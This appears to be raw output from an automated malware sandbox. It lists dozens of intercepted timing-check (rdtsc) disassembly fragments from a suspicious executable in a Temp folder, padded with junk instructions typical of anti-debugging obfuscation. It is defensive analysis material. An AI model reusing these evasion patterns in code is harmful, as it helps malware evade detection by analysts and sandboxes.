Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A949 second address: E2A977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F44DCF14046h 0x0000000a popad 0x0000000b jnc 00007F44DCF1404Eh 0x00000011 jmp 00007F44DCF14051h 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A977 second address: E2A98E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F44DCF2CAF2h 0x0000000f jnl 00007F44DCF2CAE6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A98E second address: E2A992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A992 second address: E2A99A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A99A second address: E2A9C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14059h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jo 00007F44DCF14046h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E295E5 second address: E295FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44DCF2CAF4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E29741 second address: E29758 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jnl 00007F44DCF14046h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E29758 second address: E2975C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2975C second address: E29762 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E298C9 second address: E298CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E29D42 second address: E29D48 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A025 second address: E2A044 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c je 00007F44DCF2CAE6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A1BD second address: E2A1C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A1C2 second address: E2A1C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A1C8 second address: E2A1CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A31A second address: E2A336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F44DCF2CAE6h 0x0000000a jmp 00007F44DCF2CAF2h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A336 second address: E2A33A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A33A second address: E2A34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F44DCF2CAECh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A34E second address: E2A352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A613 second address: E2A617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A617 second address: E2A632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F44DCF14046h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A632 second address: E2A636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A636 second address: E2A64C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F44DCF14052h 0x0000000e jg 00007F44DCF14046h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A64C second address: E2A66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F44DCF2CAF6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A66A second address: E2A67A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2A67A second address: E2A693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F44DCF2CAEAh 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push ebx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2FA54 second address: E2FA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F44DCF1404Dh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2FA69 second address: E2FA73 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44DCF2CAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF10A7 second address: DF10AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF10AB second address: DD0E01 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F44DCF2CAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F44DCF2CAECh 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F44DCF2CAF8h 0x00000017 nop 0x00000018 mov cx, bx 0x0000001b call 00007F44DCF2CAEFh 0x00000020 jmp 00007F44DCF2CAECh 0x00000025 pop edi 0x00000026 call dword ptr [ebp+1244A5BFh] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF1280 second address: DF129E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14052h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F44DCF1404Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF1592 second address: DF1596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF172A second address: DF172E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF1992 second address: DF1999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF1999 second address: DF19EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44DCF14057h 0x00000008 jno 00007F44DCF14046h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push esi 0x00000016 push edx 0x00000017 jno 00007F44DCF14046h 0x0000001d pop edx 0x0000001e pop esi 0x0000001f mov eax, dword ptr [eax] 0x00000021 je 00007F44DCF14050h 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a js 00007F44DCF14046h 0x00000030 popad 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jbe 00007F44DCF14046h 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF19EA second address: DF19F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF1B71 second address: DF1B7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F44DCF14046h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF1B7F second address: DF1BB2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a clc 0x0000000b push 00000004h 0x0000000d stc 0x0000000e nop 0x0000000f push eax 0x00000010 jmp 00007F44DCF2CAF9h 0x00000015 pop eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF2341 second address: DF2347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2FD7A second address: E2FD7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2FD7E second address: E2FD8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F44DCF14046h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2FD8E second address: E2FD94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E2FEE1 second address: E2FEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F44DCF1404Ah 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E304BB second address: E304C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E304C3 second address: E304C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E304C7 second address: E304CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E304CB second address: E304EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF14059h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E304EE second address: E304F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F44DCF2CAE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E304F8 second address: E304FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E304FC second address: E3050E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F44DCF2CB00h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3050E second address: E30520 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44DCF14046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F44DCF1404Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E306CB second address: E306CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E306CF second address: E306D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E306D3 second address: E306E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F44DCF2CAE6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E306E4 second address: E30704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F44DCF1404Dh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E30704 second address: E30722 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F44DCF2CAF8h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E308C8 second address: E308FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F44DCF14055h 0x0000000e jmp 00007F44DCF14057h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E308FD second address: E30901 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E32615 second address: E3261B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3261B second address: E32621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E350C1 second address: E350E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F44DCF14046h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F44DCF1404Dh 0x00000013 jnl 00007F44DCF14046h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E37388 second address: E3738E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E374D6 second address: E374DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E374DC second address: E374E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E39D3B second address: E39D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E39D3F second address: E39D45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E39D45 second address: E39D4A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E39D4A second address: E39D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F44DCF2CAE6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3DF1D second address: E3DF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF1404Ah 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3DF31 second address: E3DF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F44DCF2CAE6h 0x0000000a jmp 00007F44DCF2CAEAh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3DF49 second address: E3DF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F44DCF14046h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F44DCF1405Dh 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F44DCF14055h 0x0000001d push esi 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3E0AB second address: E3E0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF2CAF3h 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ebx 0x0000000e push edx 0x0000000f jmp 00007F44DCF2CAF4h 0x00000014 pushad 0x00000015 popad 0x00000016 pop edx 0x00000017 push eax 0x00000018 push eax 0x00000019 pop eax 0x0000001a jmp 00007F44DCF2CAEBh 0x0000001f pop eax 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jnp 00007F44DCF2CAE6h 0x0000002b push eax 0x0000002c pop eax 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3E0FB second address: E3E108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3E108 second address: E3E10D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3E10D second address: E3E12B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14059h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3E43E second address: E3E46B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F44DCF2CAF5h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3E46B second address: E3E46F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3EA27 second address: E3EA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F44DCF2CAF6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3EA48 second address: E3EA4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E3EA4C second address: E3EA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E42CBF second address: E42CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4325E second address: E43265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E471AB second address: E471AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E471AF second address: E471D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F44DCF2CAE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F44DCF2CAEAh 0x00000014 jnl 00007F44DCF2CAE6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E471D0 second address: E471D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E471D5 second address: E471F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF6h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4658A second address: E4658E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E4658E second address: E465B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF7h 0x00000007 jmp 00007F44DCF2CAEBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E465B4 second address: E465C1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F44DCF14046h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
